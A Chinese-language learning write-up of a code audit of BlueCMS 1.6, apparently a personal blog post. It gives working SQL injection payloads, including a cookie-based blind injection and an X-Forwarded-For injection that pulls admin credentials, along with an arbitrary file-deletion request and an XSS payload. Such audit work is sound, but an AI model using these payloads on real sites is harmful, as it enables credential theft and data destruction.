Bluecms1.6代码审计
ad_js sql注入
数字型注入
1%20union%20select%201,2,3,4,5,6,(select%20user())
common.inc.php sql注入
此文件在include下,应该是一些基础的函数或配置,所以任何包含此文件的都可以进行注入emmm
找到publish.php,正好包含了该文件
common.inc.php注入点:
if(!$_SESSION['user_id'])
{
if($_COOKIE['BLUE']['user_id'] && $_COOKIE['BLUE']['user_name'] && $_COOKIE['BLUE']['user_pwd'])
{
if(check_cookie($_COOKIE['BLUE']['user_name'], $_COOKIE['BLUE']['user_pwd']))
{
update_user_info($_COOKIE['BLUE']['user_name']);
}
}
else if($_COOKIE['BLUE']['user_name'])
{
$user_name = $_COOKIE['BLUE']['user_name'];
$user = $db->query("SELECT COUNT(*) AS num FROM ".table('user')." WHERE user_name='$user_name'");
可以看到如果没有进行登陆,并且只有$_COOKIE['BLUE']['user_name']有值,就会进行sql查询,不过貌似这里只能盲注
延迟之后自动跳转到登陆页面,为了看的清晰我先把跳转注释了:
也没什么过滤,延时成功
poc:
BLUE[user_name]:w4'and if(((ascii(mid((select database()),1,1)))=98),sleep(3),0)#
publish.php 任意文件删除
在第316行:
参数$act可控:
id也可控,新建一个test页面:
publish.php?act=del_pic&id=test.php
再次访问:
任意文件删除的地方有不少就列这一个吧~
user.php xss
邮箱处存在xss
admin/card.php xss(反射型)
name处无过滤直接输出,所以只能弹一下
name=<script>alert(1)</script>&value=1&price=1&act=do_edit&id=1
user.php 文件包含
这里包含点可控,但是主要是后面的index.php,%00截断不成功,我参考了网上的文章,用
Windows下目录最大长度为256字节,Linux下目录最大长度为4096字节
的思路,版本为5.2,但是怎么都包含不了,占坑
comment.php xff注入
payload;
1','1'),('','1','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1
tpl_manage.php 任意文件修改
user.php 任意跳转
或许可以用来ssrf什么的,需要base64编码
总结
第一次看cms,不知道从哪入手,有点无力,有些明显的洞有时候还是没注意,不过还好小型的cms代码没那么复杂,漏洞也比较简单好利用,算是第一次入手吧,还算小有收获,以后审cms最重要的还是得从用户输入着手看 只不过这个源码有点不稳定?(nah)